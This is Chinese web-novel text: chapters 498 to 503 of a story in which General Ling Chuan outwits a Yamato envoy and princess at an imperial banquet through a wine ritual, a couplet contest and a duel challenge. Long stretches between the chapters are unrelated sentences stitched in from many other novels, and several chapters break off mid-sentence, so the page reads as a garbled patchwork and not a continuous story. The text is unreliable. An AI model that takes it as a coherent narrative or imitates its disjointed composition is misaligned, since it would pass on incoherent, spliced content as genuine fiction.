要知道这可是御赐的酒,他竟敢当众倾倒,分明是在挑衅皇威,更何况,做出这番举动的还是一个外邦使臣。 “大胆!竟敢对陛下不敬!”礼部尚书赵怀庭霍然起身呵斥,声音因愤怒而微微发颤。 名为长谷川的中年男子却是不屑冷笑,慢条斯理地放下酒杯:“就这种酒,就跟一个不懂规矩的莽夫,难登大雅之堂,在我们大和帝国老百姓都不屑喝,更何况是用来招待贵宾了!” 这番话掷地有声,说得赵怀庭一时语塞,只得将目光投向凌川。 大殿之中,不少人面带幸灾乐祸之色看向凌川,意思很明显,这酒是你凌川带来的,那就应该你来处理此事。 至于宋鹤年以及宋敬芝兄弟,则是一脸的担忧,毕竟,此事关乎陛下的颜面,一个处理不好,就可能让帝国声誉受损。 到时候,无论是黄党还是齐党,必会借题发挥,让凌川成为众矢之的。 第一卷 第498章 饮酒之道 凌川面不改色,从容起身。 这才不疾不徐地看向长谷川,说道:“观先生谈吐举止,想必是浸淫我中原文化多年,而酒,恰是中原文化中不可或缺的精髓,这一点先生应当深有体会!” 长谷川冷笑着整理了下衣袖,指尖在锦缎面料上轻轻划过:“不敢说有研究,不过我祖上本就是中原人,对中原文化还算了解。但以此等劣酒待客,实在贻笑大方。凌将军以为呢?” 凌川不怒反笑,目光缓缓扫过在场众人,最终定格在长谷川脸上:“先生此言差矣。这狼血酒名虽不美,却是实实在在的佳酿!只是,你不会品罢了!” 长谷川神色一凛,眼角微微抽动,正要反驳,凌川清越的声音再次响彻大殿:“在我们中原民族的历史长河中,无论是文豪大儒吟诗作对,还是江湖侠客快意恩仇,亦或是边关将士沙场饮血,乃至市井百姓婚丧嫁娶,都将酒视为挚友、知己。对待朋友,自然要以礼相待,细品慢酌,方能体会其中真味!” 他顿了顿,目光陡然转厉,声音也提高了三分:“反之!若是不懂咱们中原文化,或是不按中原的规矩来喝此酒,则会被它视为敌人!”凌川顿了顿,继续说道,“对待敌人,这酒便会化作最锋利的刀剑,最炽烈的火焰,将敌人斩尽杀绝、焚为灰烬!” 此言一出,全场先是陷入死一般的沉寂,随即爆发出阵阵低呼。 大殿之中,众人面面相觑,都被这番掷地有声的话语所震撼。 “说得好!”皇帝抚掌赞叹,声音在大殿中回荡。 他眼中闪着欣赏的光芒,显然对凌川这番既挽回颜面又不失锋芒的说辞十分满意。 长谷川脸色顿时阴沉如水,他原本精心设计的局,不仅没能让大周蒙羞,反倒被凌川借题发挥,反打一耙。他藏在袖中的拳头不自觉地握紧,指节泛白。 “是吗?”长谷川强压怒火,嘴角勾起一抹冰冷的笑意,“那我倒要见识一下,你口中的好酒,究竟该怎么喝!”他刻意加重了‘好酒’二字,语气中满是讥讽。 凌川淡然一笑,说道:“既然如此,今日我就教教你,什么才是中原的饮酒之道!” 只见他从容执起那只御用的青玉酒壶,壶身在烛光下泛着温润的光泽。随即,稳稳斟满一杯狼血,清澈的酒液在玉杯中轻轻荡漾。 放下酒壶后,他右手轻抬,三指微拢,做出一个优雅的执杯手势。 尽管他身着铠甲,可做出这个动作却丝毫不显得违和,既没有矫揉造作阴柔之态,也没有装腔作势的不伦不类之感,反而是透着一股由内而外的儒雅气质。 “拈花指,执杯如执礼!”凌川目光平静地望向长谷川,声音清朗,“酒德如人品,持杯的仪态,便是饮酒人的风骨!” 他缓缓举杯,向着满殿宾客示意:“杯满为敬,不溢为度!这是对酿酒人的尊重,也是对共饮者的诚意!所以需轻举杯!”玉杯在他手中平稳如磐石,酒面微微晃动,映照着殿内摇曳的烛光。 “先静后动,先礼后兵,深入喉!此乃君子之道!”凌川将酒杯举至唇边,仰首间,将满杯狼血酒尽数倾入口中。 只见他闭目凝神,似在细细品味。 片刻后,他喉间轻轻一动,这才缓缓睁眼,那双眸子在烛光下格外明亮,仿佛有两簇火焰在深处燃烧。 “酒气入喉,如春风化雨;酒意入心,似明月照怀!”凌川轻轻吐出一口气,唇角微扬,“这一杯,饮的是天地正气,品的是人间至味!” “砰!”玉杯稳稳落在案几上。 凌川目光如电,直射向对面的长谷川:“杯落有声,是为尽兴;余韵悠长,方得真味。这一饮而尽的,不只是酒,更是人间风流!” 酒杯落在桌面上发出的声音让大殿之中的众人回过神来。 众臣面面相觑,不少人的脸上都露出惊异之色,就连那些向来以风雅自诩的文官,也不禁暗暗点头。 尽管他们心知肚明,这不过是凌川现编现卖,但他们从未想过,饮酒竟能被演绎得如此富有诗意与气节。 这对于一向喜欢附庸风雅,好以雅自居的他们来说,无疑是最合胃口的东西。 坐在对面的雪姬公主,则不自觉地握紧了衣袖,那双始终淡漠的眸子里,第一次出现了细微的波动。 长谷川脸色铁青,他死死盯着案上那只空杯,仿佛要将它看穿,殿内的气氛在这一刻变得格外微妙,烛影摇曳中,每个人都能感受到那股无声的较量正在悄然升级。 雪姬公主微微侧首,将疑惑的目光投向身侧的长谷川,那双描画精致的眼眸中带着探询之意,似是在求证中原人饮酒是否真有这诸多讲究。 然而长谷川此刻也是心中没底,他眉头微蹙,指尖无意识地在案几上轻叩。 他祖上虽源自中原,但离乡已近百年,虽说这些年他常在中原行走,却未曾涉足洛城这等礼仪之邦的核心。或许这真是神都近来兴起的风尚也未可知。 他眼底闪过一丝犹疑,但很快又被倔强取代。 “不过是故弄玄虚的雕虫小技!”长谷川冷哼一声,声音中透着几分强撑的不屑,“劣酒终究是劣酒,任你吹得天花乱坠,也改变不了它粗劣的本质!” 他刻意提高声调,仿佛要说服在场的每一个人,更要说服自己,“我便依着你的法子,让你明白这些花哨把戏,不过是个笑话!” “请!”凌川唇角微扬,隔空做了个清雅的手势,眸中闪过一丝不易察觉的笑意。 长谷川起身执壶,玉壶在他手中略显生涩。 他依样斟满酒杯,动作间带着几分刻意的模仿。 殿内众人见状,也纷纷好奇地执起酒杯,连御座上的皇帝也饶有兴致地端详着手中的玉杯。 大殿中,每个人的眼中都藏着同样的疑问,凌川这种喝法,真能化凡酒为琼浆吗? “拈花指,轻举杯,深入喉……”长谷川略带嘲笑地重复着要领,将杯中酒一饮而尽。 第一卷 第499章 自取其辱 刹那间,一股灼热的激流在口中炸开,宛如岩浆奔涌。 他强忍着张口呼痛的冲动,硬生生将酒液咽下,顿时,那烈酒化作一条火龙,撕裂喉间,直贯胸腹,灼得他五脏六腑都在翻腾。 他下意识伸手去够茶壶,指尖都在微微发颤。 “别张嘴!” 凌川的提醒适时响起,长谷川生生止住动作,紧咬牙关。 就在他以为要被这烈酒灼伤之时,那股炽热竟渐渐化作暖流,舌根处泛起一丝清甜,绵长淳厚的酒香在唇齿间萦绕不去,更是直冲鼻腔,余韵悠长…… 长谷川不自觉地闭上双眼,面上怒容渐消,取而代之的是一种难以言喻的陶醉,他缓缓吐出一口带着酒香的热气,整个人仍沉浸在那奇妙的回味中。 殿内众人的目光都聚焦在他脸上,见他这般神情,愈发好奇难耐。 一时间,杯盏轻碰之声不绝于耳,群臣纷纷举杯效仿。 这一次,哪怕胸腹间如火烧灼,也无人张口呼痛,个个紧抿双唇,强忍不适。 片刻之后,殿中响起此起彼伏的舒气声,伴随着声声惊叹。 众人眼中俱是惊艳之色,就连那些素来与凌川不睦的官员,面上也难掩沉醉。 “痛快!实在是痛快!”兵部尚书耿云旌将酒杯重重顿在案上,向来严肃的脸上竟泛起激动的红光。 紧接着,杯盏落案之声接连响起,清脆悦耳。 “想不到人世间竟有如此美酒,以往所饮,与之相比都索然无味了!”这次说话的是黄千浒,尽管他一心想着置凌川于死地,但此时却丝毫不吝对这狼血酒的赞赏。 “首辅大人所言极是。”文渊阁大学士齐清远含笑接话,“这狼血酒初时霸道刚猛,回味时却温润如春,实在妙极!” 宋鹤年静坐一旁,含笑不语,眼中却闪着欣慰的光。 御座之上,皇帝也将酒杯重重放下,面上倦容一扫而空,取而代之的是意气风发。 “不知长谷先生以为,此酒如何?”他含笑望向长谷川,语气温和却带着不容回避的威仪。 众目睽睽之下,长谷川虽心有不甘,却也不得不维持风度。 他单手抚肩行礼,声音略显干涩:“是在下冒昧了。此酒……确实担得起人间佳酿之称。” “哈哈哈哈,无妨,无妨……”皇帝朗声大笑,笑声在殿梁间回荡,“中原文化博大精深,长谷先生若有兴致,日后大可慢慢领略……” 长谷川悻悻落座,面色晦暗不明。 他本欲借题发挥,既折辱大周颜面,又让凌川获罪,不想却是自取其辱。不过他很快收敛心神,毕竟他精心准备的‘大礼’,还在后头。 皇帝将赞赏的目光投向凌川,眸中闪着意味深长的光。 “凌川听令!” 凌川立即离席趋前,躬身行礼:“臣在!” “朕命你,往后每月向宫中进贡二百坛狼血酒,不得有误!”此言一出,殿内顿时响起一片抽气声。 谁都看得出陛下对此酒的喜爱,这更是凌川固宠的良机,要知道,不知多少人想献宝还苦无门路呢。 “臣遵命!只是……”凌川面露难色,欲言又止。 皇帝挑眉:“有问题?” “启禀陛下!”凌川面露难色,“狼血酒酿造工序繁复,二百坛酒所费不赀,臣那点微薄军饷实在难以为继……” 皇帝先是一怔,随即失笑:“难道朕还会白饮你的酒不成?着户部按时拨付银两便是!” “谢陛下!”一听有银子可拿,凌川答得格外干脆利落,眼中闪过狡黠的光。 凌川刚回到座位,还没来得及坐下,对面的雪姬公主却已执起酒壶,缓缓斟满一杯。 她起身时,繁复的和服裙摆在地面铺展如花,那张涂得雪白的脸上挤出一抹生硬的笑意。 “早就听闻凌将军是大周名将,文韬武略不凡!”她操着生涩的中原话,每个字都像是从齿缝间挤出来的,“今日一见,果然英姿勃发,堪称当世俊杰。” 说罢,她双手捧起酒杯,指尖在杯壁上轻轻摩挲,“方才长谷先生多有冒犯,我代他向将军赔罪!” 凌川并未立即举杯,而是转向御座方向抱拳行礼:“公主殿下,按我大周礼制,这第一杯酒当敬陛下!” 雪姬眼底闪过一丝阴鸷,涂着厚粉的面容微微抽动。 她岂会不知这个规矩?自己这番故意越礼,便是想将凌川推到风口浪尖。 若是凌川接酒,那便休想甩掉‘不尊君上’的罪名,朝堂之上的口水都足以将其淹死。 若是他不接,自己便可趁机发难,说他无视自己这位异国公主,同样能让他下不来台。 御座上的皇帝将这一切尽收眼底,他又岂会看不出雪姬公主这点小伎俩? 只见他指尖轻叩龙椅扶手,唇角泛起一丝若有似无的笑意。“凌川,朕今日饮得不少,这杯酒就代朕饮了吧!” 这话说得滴水不漏,既全了礼数,又解了凌川的困局。 凌川当即躬身领命:“臣遵旨。” 他重新执壶斟酒,与雪姬虚碰一杯后,他仰首饮尽,动作干脆利落。 雪姬勉强学着中原礼仪将酒饮下,却把酒杯重重顿在案上,发出刺耳的声响,这个动作非但不是出于礼数,更像是另有深意的‘挑衅’。 “陛下!”她转向御座,白粉覆盖的脸上挤出更深的笑容,“听闻中原有个雅戏叫对对联。我来神都途中,偶得一句上联,今日献丑,权当助兴可好?” 皇帝指尖在扶手上轻轻一点,眼底掠过一丝了然。 不过,他却并未放在心上,毕竟,一直以来,大和帝国都在学习中原文化,可几百年下来,他们学到的也只是一点皮毛。 更何况,这明德殿中,就算抛开宋鹤年、齐清远这等文坛宿儒不算,哪怕闭着眼睛指一个,都是饱读诗书的存在,对对联这种小把戏,对于他们来说,还不是手拿把掐? 他目光扫过殿内群臣,毕竟対联这种文字游戏,向来是中原士大夫的拿手好戏。 “公主既有此雅兴,但说无妨!”皇帝语气从容,仿佛在说一件无足轻重的小事。 第一卷 第500章 大和使团的挑衅 殿内烛火摇曳,将每个人脸上的细微表情都照得清清楚楚,连眼底一闪而过的惊怒或算计都无从遁形。 黄千浒抚须沉吟,指节在紫檀案几上无意识地敲击;齐清远则垂眸不语,唯有微微颤动的眼皮泄露出心底的波澜。 满朝文武虽端坐如钟,眉宇间却多少带着几分倨傲与审视,俨然一副成竹在胸的模样。 雪姬公主面朝文武群臣,唇角勾起一抹若有似无的讥诮,缓缓开口,声音清晰而冷冽,如冰珠落玉盘:“本公主的上联是:天皇东征,周山易主,满朝文武皆臣服!” 此言如同冰水泼入滚油,瞬间炸裂。 文武百官无不勃然变色,怒目圆瞪,几欲噬人。 先前狼血酒的风波尚属暗中较劲,此刻这般言辞,已是赤裸裸的刀兵相向,无异于当着皇帝与满朝公卿的面,将大周的颜面掷于地上践踏。 殿内气氛骤然紧绷,仿佛一根拉紧到极致的弓弦。 “大胆妖女!安敢如此辱我大周!”吏部左侍郎安清呈须发戟张,拍案而起,手指因愤怒而微微颤抖,官袍袖口都在簌簌震动。 雪姬公主却浑若不闻,惨白的脸上笑意更深,带着一种猫戏老鼠般的从容:“不过是一副上联罢了,大人何必动怒?若觉被我说中了痛处,大可以联对联,用你们最引以为傲的文采回击便是!”她语调一转,寒意森然,“莫非是……大人对不上来?” 殿中不乏文坛泰斗,此联本身算不得精妙,但其意猖狂,视皇权与满朝英才如无物,已是诛心之论。 几位老臣气得胡子直抖,却一时被其气势所慑,加之揣摩圣意,未敢轻易出头。 “素闻大周朝堂汇聚天下文宗,黄首辅、齐大学士,还有清流典范宋老大人……”雪姬目光徐徐扫过几人,语带挑衅,每一个字都像鞭子抽在众人脸上,“莫非,连我区区一个外邦女子信口所出的上联都接不住?那可真是……令人大失所望了!” “雕虫小技,何劳首辅与诸位大人出手,在下便可应对!”一道带着压抑怒意的声音响起,户部尚书顾承均身后,一名年轻官员霍然起身,脸上因激动而泛起红潮。 “哦?阁下是?”雪姬眼底掠过一丝计谋得逞的快意,仿佛猎人看到了猎物踏入陷阱。 “户部员外郎,黄英杰!”青年昂首应答,气宇间自带几分世家子的矜贵。 他正是首辅黄千浒长子,年纪轻轻便位居户部要职,朝野皆视其为未来阁臣的不二人选,此刻出声,既有为国争光之意,也有出风头的意图。 雪姬微微颔首,袖中纤白的手指轻轻捻动:“请!” 黄英杰离席行至殿中,抬起目光看了御座上的皇帝一眼,见陛下虽面沉如水,却并未阻止,心下稍安。 他略一思忖,自觉抓住了对方联语中的关键,便深吸一口气,朗声道:“天子北伐,倭土崩离,四海凶顽尽伏拜!” 此联对仗尚可,气魄亦有,虽不惊艳,却也堪堪堵住了对方的攻势,试图在气势上予以还击。话音落下,黄党官员纷纷叫好,各种恭维之语接连传来。 正当黄英杰面露得意之色,眼角余光瞥向皇帝,欲得嘉许之际,雪姬公主眼中那抹奸计得逞的冷笑再也掩藏不住:“黄公子果然文思敏捷!这对仗嘛……天子对天皇,倒是工整得很呐!” “轰!” 此话如同惊雷炸响在寂静的大殿,文武百官脸色剧变,方才还在点头的官员瞬间僵住。 黄千浒眸光骤然一缩,手中茶盏几乎捏碎,暗叫不妙。 御座之上,皇帝周承渊的脸色以肉眼可见的速度阴沉下去,仿佛暴雨前的天空,冰冷的目光如两道实质的利箭,狠狠钉在黄英杰身上。 刹那间,明德殿内空气凝固,落针可闻。方才还意气风发的黄英杰,此刻面如死灰,冷汗瞬间浸透内衫。 他这才惊觉,自己竟在无意中堕入彀中,将这‘天子’与‘天皇’并称,无异于在言辞上自贬君父! “丢人现眼的东西,还不退下!”黄千浒一声冰冷彻骨的斥责,及时斩断了这令人窒息的气氛,也保全了黄家最后一丝颜面。 黄英杰如蒙大赦,却又如丧考妣,踉跄着狼狈不堪地退回座位,深深垂首,再不敢抬起。 雪姬公主志得意满,目光倨傲地扫过噤若寒蝉的群臣,声音带着胜利者的慵懒:“不知,还有哪位大人愿来赐教?” 满殿寂然,落针可闻! 并非是这个上联有多难,而是因为刚才的事件,御座之上的陛下明显处于暴怒的边缘,这个时候站出来,要是对好了也就罢了,要是未能让陛下满意,那势必会承受这位天子的雷霆之怒。 眼见无人开口,皇帝的脸色更加难看,这些人一个个自诩才高霸道,结果,被一个外邦公主用一个上联打得毫无还手之力,而且,还是他们最为擅长的对联,这简直就是耻辱,整个帝国的耻辱。 雪姬公主目光流转,却见凌川正手持一只焦香酥脆的烤鸭腿,吃得津津有味,时而啜饮一口美酒,仿佛周遭的剑拔弩张、国体荣辱与他全然无关。 “凌将军可有雅兴一对?”雪姬眸光一闪,直接点名,意图将这把火引到这个欲置身事外的人身上。 谁知,凌川则是摆了摆手,说道:“我先吃点东西,公主找别人吧!” 他确实是饿了,白天在藏书塔错过了饭点,以至于到现在午饭都还没吃,这些菜品虽然味道一般,但材质却是一等一的好,凌川也就忍不住吃了起来。 这番近乎粗豪的做派,引得满堂侧目,顾承均更是冷哼一声,说道:“没规矩的莽夫,殿前失仪,丢人!” 凌川不慌不忙,取过温热布巾细细拭去嘴角油渍,这才抬眼看向顾承均,朗声道:“顾尚书久居神都,有所不知。我们边关将士,风餐露宿,饥一顿饱一顿乃是常事。战事吃紧时,饮水干粮皆在马背上解决,能有机会安稳吃顿热食便是天大的幸事!民以食为天,饿了自然要吃!” 第一卷 第501章 接连打脸 随即,凌川话锋一转,目光锐利如刀,直指顾承均说道:“顾尚书这么闲你倒是去对对联啊,人家脚丫子都蹬脸上了,你盯着我干什么?” “你……强词夺理!”顾承均被噎得面色涨红,气得险些掀案而起,正要发作,却被御座上传来的一声低沉喝止打断。 “够了!”皇帝语带薄怒,声音不高,却蕴含着不容置疑的威严,显然在极力压制着滔天火气。 顾承均胸口剧烈起伏,最终却只能狠狠瞪了凌川一眼,悻悻坐下。 雪姬公主见折辱大周朝臣的目的已达...... “必须要在几分钟之内冲进去。”娜洁希坦扫了一眼身边的人发现都是满脸疲倦,毕竟精神高度绷紧要随时躲避到处飞过来的子弹,流弹,炮弹,消耗不大才怪。 虽然路建国心里默念着老子花儿子的钱,是天经地义的事情,但是话到嘴边,还是觉得心里怪怪的,说不出来的别扭。 梁栋摔倒,看来是自己太自恋了,不过还好,他接受能力还算强坚‘挺’的没有倒下。 然而他刚刚一挣扎,林峰就是狠狠的一脚踩下去,还在他的脸上撵了几下。张义痛呼一声,鼻涕眼泪一起出来了。 这草芥菜菜子绝对不是善类,这时候竟然首先动手,先下手为强了。 接着,龙镇阳目光落在了藤野的身上,心中突然暗叫不好,难道说,林西凡是冲着这个男人来的?这男人会不会给龙家带来灾难? 好在林峰一直挂着一个虚职在他的砂石场,而且林峰之前和他的关系也很不错,算得上是自己人。有着这层关系,王南直接把自己的砂石场给了林峰,说是给,其实也算是入股了。 周明两人早就到了,老远就开始打招呼,一见面,赵冰冰拉着木灵儿到一边聊天去了,周明就开始了轰炸,这个家伙根本就是闲不住的主。 阴鬼王一见到这情形,心里的怒火顿时便像火山一般顿时喷了出来。 “主人,卡密拉也要侍候你!”卡密拉双目掠过了一丝激动,既然已经是明白了刘皓的喜好,她当然要更进一步。 他一生大部分时间都在马背上度过,南征北伐,为大明立下了无数汗马功劳。 看着表情,朱汉三除了心中泛苦外,又继续在脑袋里酝酿下一个谎言。 冰矛应声碎裂,杨苏持刀伴随这冰渣,从原地暴射而出,所过之处的冰块,直接被融化,地面也出现了类似被闪电灼烧的痕迹。 一座古刹内,一道灰影越墙而入,穿过大殿,进入后院的林园里。 此时宋凯转身看了陆凡一眼,那眼神充满了挑衅的味道,嘴角露出一丝冷笑。 灭绝师太找杨逍寻仇早在众人的意料之中,早年杨逍年轻气盛,气死峨眉派孤鸿子倒也罢了,怪只怪那孤鸿子器量狭隘,赢得起输不起。 一位身穿类似宇航服的人,全然不顾男子的伤势,持枪又是“砰砰”两枪,这然后又是数脚踢上,直至男子没有了气息,双眼发白的躺在地上。 “十年?断不可能!”周异不傻,若是朱涵权势滔天,地盘够大的话,周异或许会考虑一二,但是现在,朱涵说的十年无异于痴人说梦。 淳朴哥谭市民已经彻底瘫坐在地上,低着头,身体不受控制的颤抖着。 旁边围观的人顿时就笑了,以前都是从电视上从手机上看到老人一把岁数讹人,没想到年轻人也这么搞,你就不怕被打吗? 尽管很想知道他现在怎么样,但是心里也清楚,这个时候问只会适得其反。 隔着十多米,我把帽子扔给那人,他赶忙接住,顺手戴上,却依旧是不依不饶。 今天轻易就得到几个亿的珠宝,豪哥哥几个可是高兴极了。此时此刻正坐在桌旁分赃呢。 刘俊熙真是险些一口老血吐出来,人家都说的这么明白了,某人还是一脸懵逼的状态。 清晨,太阳透过玻璃照到地上,叶一凡是被隔壁病房的哭声吵醒的。 这些混迹在政界商界的大佬们,对形势和立场是最敏感的,在这个时候顾余生宴请他们,他们明面上是来吃饭的,但心底,也会立即做出决定,到底选择支持哪一边,他们早就有谱了。 这是犯法的事,赵德明再傻,也不会同意直接把受贿款打入老婆和母亲的帐户上,这跟打入自己的帐户是一样的。所以王晓燕认为受贿的可能性是几点乎没有的。 纳兰魅儿冷哼着,命令心腹继续盯着,有什么新的进展立刻回复她。 而想要干倒比自己厉害无数倍的假道士,只能靠计谋取胜,这时候一定要冷静冷静再冷静。 夜枭天帝的话让慕陈生有些感动,此时他看着眼神坚定的夜枭天帝,本来有些冷漠的眼神开始变得柔和起来。 不等秦冉冉想把自己的铝饭盒抢回,季成阳就把秦冉冉的野菜饭团给一口咬掉了大半。 一个月时间,秦观清缴了雄州大部分山贼土匪,或杀或抓,已经四千多人了,这已经是系统第8次询问他是否领取奖励了。 如今,雄州境内,能够找到的土匪山贼,几乎都被秦观扫清了,就算是有残留的,也很难找出来。 “原来是这样。”林奇现在明白崔学政为何不顾威仪,直接将秦观的诗作纳入袖中了。 见到老人如此说,林宇只好不再追问了,不过他看着老人说这句话的时候,眼神里面明明闪烁出智慧的光芒。林宇不禁在心中纳闷,这到底是怎么一回事? 孙悟空看秦观不紧不慢的拉关系,在后面急得抓耳挠腮不住跳脚,等秦观弄完这一套,众人才再次来到金兜洞前。 “给我三个吧。剩下的你留着。”郑云说道。紧接着稳稳接住了李迦禄扔来的七个钻石。 安稳终究还是没能走成,之前姜寒就和他说过了,明天他才能走。 “这样的状况,逃到外国去的贵族们,还有外国势力,肯定会兴风作浪的。 而且从能够与食火兽对峙的石头人来看,这三个妖人实力绝对不弱,不是可以瞬间解决的存在。 曹叡顿时有些激动,因为这司马懿计谋甚多,或许真的能给大魏争取一定的休养生息的机会。 npc一怒,伏尸百万,血流成河,她还是比较喜欢和平的解决方式。 比起程风不断喘着气的模样,柳诗羽显得从容不迫,刚才的激烈交锋不足以让她感到压力。 毕竟还是一个副本的,现在连任务都不知道,就因为白薇把所有玩家都得罪了,岂不是得不偿失? 第一卷 第502章 孤冥约战 皇帝周承渊高踞御座,看着这戏剧性的一幕,毫不掩饰脸上的赞许之色,微微颔首,方才的阴郁之气一扫而空。 “凌川!你竟敢屡次辱及公主殿下,我要与你决斗!”孤冥再也按捺不住胸中沸腾的杀意与屈辱,踏步来到场中,冰冷的眼神如利刃直指凌川。 凌川挑眉,语带嘲讽,“这就是大和的武士道?文斗玩不起,便要动刀兵?” “休逞口舌之利!你若还有半点武将血性,便与我一战!生死勿论!”孤冥激将道,试图以决斗之名行斩杀之实。 凌川心中...... 杜姜就特别擅长说这种漂亮话,以至于给一部分人留下了有点假的印象,但其实不是假,他只是说话的时候多动了动脑子,进行了人工筛选。 他谁也不信,让跟着调查的人继续调查,自己带着证据,又匆匆往宫中赶。 一开始只是猜测夫子是不是写错等次了,经证实确实是乐艺夫子们一致确认后的成绩,这就让那些孩子有些费解了。 范府的金匾上挂着白幡,往日的灯笼和对联也悉数成了白色,大门上贴着大大的‘奠’字,沈良奕纵使做足了准备,看到时依旧心脏一缩。 当时,她正在这妓院的舞台上翩翩起舞,美眸流转,巧笑嫣然,以图跳完舞后,能指望这些客人们多多打赏,她好赚几个活命钱。 不过既然确实上了一个大大的台阶,有时候难免会有一些新的想法。 姜鸣眉头微微挑起,果然不出暗鹫的探查,楚泓就是他们的目标,既然是这样的话,不然他现身成为众矢之的是最正确的抉择。 明明她应该没有见过才对,但是她就是觉得有些眼熟,就多看了两眼。 殒麟城中,王公府邸,新皇已然准备好了着装,在礼仪大臣的教习下,正学习着登帝那日所要用到的礼仪,但视其面目,竟然是曾经与姜鸣有所争执的徐聪。 穆重锦进去了那么久,他们俩肯定干了见不得人的事,作为一个单身多年的三好良民的直觉。 村长说道这里,江寒的心里已经大概知道为什么冥冥之中自己会有一种感觉—石头村对自己很重要。 “我告诉你,从今以后,不会有人再来打扰你的生活,安静的做你的姬捕头,知道了吗,安世耿死了,安云山也会死,以后,我会保护你。”刘星的话,就像是一道天雷,直接在姬遥花的心中炸开。 听到龙剑飞如此肯定,佐青云对龙剑飞的消息速度很是吃惊,而且是很清楚对方的一举一动。 皇宫大殿中,此刻圣皇与一众大臣聚在一起,显然也正在讨论此事。 冥河放出神识,刹那间庞大的神识便笼罩了整个圣天城,将整个城的建筑和科技物品都探查了一遍,不过却是有一些地方阵法和规则之力守护,哪怕以冥河永恒境的神识也不敢强硬探查。 见到前人跪的这么惨烈,后面还没来得及踏入神像威慑区的人们纷纷停住了脚步,惊恐的往后退去。 “公孙,你知道的……”外国男子听到这里,忧郁的看了青年男子一眼,而后开口说道。 “红名村,红名村!这个村子,竟然真的存在,师尊没有骗我,哈哈哈,它真的存在!”那准仙帝又惊又喜,盯着挂在红名村村口处的牌,口中自语。 在究极虚化的基础上,刹那开启了神之六道模式,身上磅礴到极致的力量几乎达到了一个神秘的临界点,强大到了极限的力量冥冥之中已经和这个世界开始产生了某种共鸣。 瞧着那化作一道火红色流光消失在夕阳之中的车辇,安慕晞眼中充满了失落与眷恋之情。 扭头间,在一拐角处发现了半块裸露的砖,杜含章慌乱的捡起砖,就奔向大门。 众人一脸看好戏的样子,刚刚柠檬树说的话所有人都听得到,但只要一发生口角就会被警告,一旦动手就要跟赛场说拜拜。 而权智妍被霍际廷一剑挑起了胳膊,下一刻,就听到了骨头碎裂的声音。 出乎意料,盛意竟然没有一哭二闹三上吊,这倒挺令太后惊讶的。 她身躯微颤,神情担忧地望着叶宁那纹丝不动的背影,内心止不住怀疑。 “林大人,你且带着大臣们商议,朕有急事要办!”霍际衡冷着脸色吩咐道。 漫天的大雨里,王涛用胖手在脸上抹了抹水,看向了在大雨中面带茫然的同伴。 一同往外看的张月,见到一个戴的手链,比其手还粗的孩子,被锦衣卫如拖死狗般拉着往前走,眼中有着一抹不忍。 几乎对所有人来说都是天谴圈,唯独最近的,是落在了渔村的TE天雷战队。 闻言,凌飞十分高兴,笑道:“好,那我们现在就是朋友了。”说着伸出了手掌。 “值班?还是在晚上十二点后?”叶晓兰闻言,不禁地大声起来,瞪大了眼。 她谨记规矩,并不敢越过主子。步子却明显急了,曳地的黑丝绒披风飞扬起来,裙袂乱舞,似要乘风归去。 “京都里关于你的流言很多,要不要听听?”马车里呼延暖心正向外瞧着风景,邓风突然凑过来一脸笑嘻嘻的问。 穿着白色衬衫的唐铭,背着手在房门前徘徊了许久。眉头紧锁,似乎在纠结着什么? 如果残煜所说是真,就证明赵玉龙和杨玉儿他们没有危险,但如果慕容两兄弟不认识杨玉儿,那后果可能就……凌飞微微一叹,不敢往下继续想。 这一年到头的,光剿匪、治乱民、打劫恶富了,还没有闲下来好好休息过。如今已入冬,外面那些悍匪、乱民和恶富,也基本被他们收拾得七七八八,全都猫着不敢动弹。 我反应过来,连忙一把扯下耳垂上的灵蛋,就在自己的脸上一阵揉搓,脸上的立即传来冰凉的触感,疼痛也跟着缓和了些。正当我还想着继续时,多耳怪又向着我来了。 其实凌飞并不知道,他所感受到的那种神秘能量其实是一种域境,这是某种特殊的境界,只有到达一定的修为才会拥有。 这样忍辱负重的钱氏,和明明满脸羞愤,却依然克制住自己的杜芷薇,令杜芷萱心里更添了一丝戒备和警惕。 后面八大贵族的人纷纷出来,那些家族长者排行一排,一一跟秦穆四人握手。 第一卷 第503章 大和忍术 然而这一次,他身形于半空中扭曲,竟一分为三,三道虚实难辨、气息几乎一致的残影同时举刀,从三个不同的刁钻角度斩下,凌厉刀光织成一张死亡之网,封死了凌川的所有退路。 “分身忍术!”有见识广博的武将低呼出声。 殿内众人无不倒吸凉气,一些文官被那森然杀机与诡异景象所慑,只觉头皮发麻,浑身僵硬,连呼吸都变得困难起来。 凌川却依旧目光如炬,冰雪般的冷静瞳孔中清晰地倒映着空中三道残影。 他并未被这幻象所惑,修炼《道藏》...... 架在火盆上的巨大黑锅出现在了场上,恶魔铲土虫一头栽进了那口黑锅里,瞬间就被煮熟分解成养料,吸收去了谢尔体内。 以王天目前的身份,自然不可能去京城洗澡,所以只能在皇陵周边的山里找找有没有洗澡的地方,至于吃的,可以找野果充饥。 “好吧好吧,既然唐先生如此……那就继续玩,但说实在话,玩骰子,唐先生已经无敌了!我们赌场所谓的高手根本就不是对手,要不咱们换个玩法?”利程翔衣服勉为其难但又存在激将之法的样子说道。 这个词无论学院里还是网络上暂时都没见过,这还是他头一次听说。 她一直眼巴巴的等着等着,结果等来等去的,却一直都等不来什么。 “可不是么。上周我还跟治安署一起来了这边,说是找个失踪的旅行者,但最后也没找到,就那么不了了之了。”向导说道。 回宗路上,花云瑶一直如同鸟雀般叽叽喳喳个不停,花复没忍住,点了前者哑穴。 良久,日向宁次再一次戴上了护额,而鸣人那边也终于是动用了九尾的力量。 连道馆里已经对游玄十分佩服的众学员们都不得不面露担忧之色。 连分手都像是喝水一样简单的安嘉月,原来也有这么脆弱的时候。 更不要有违背公序良俗的东西,那我不会客气的,言言的面子也没用,卫晨连他自己都保不住。 这个问题着实让柳沉鱼愣了下,她没想到秦烁居然会问出这样尖锐的问题。 不过莫川和玉贤真人也不算熟络,去问这种有关宗门内部决策的事情,似乎有些越俎代庖了,显然也有些不合适。 散了朝,廖怀章一脸郁闷地摘下自己的管帽,一边叹气一边走路。 那箭矢几乎贴着差役的头顶飞过,只差毫厘,差役被吓得魂飞魄散,脸色瞬间变得铁青。 可结果就是,绝大部分的人,都会因为自己的贪心,最终葬身在这片海域。 “当然是真的,有恩报恩,她们照顾你,就是我陈升欠了人情,该当回报。”陈升微微一笑。 “我也选的四号。我的看法和龙哥一样,这绝对错不了。”有人说道。 同时心里也下定了决心,等这次的洗尘宴后,就把所有的修行资源都给苏命。 要是能在不影响修真的情况下去学习这些,莫川估计会全部学一个遍。 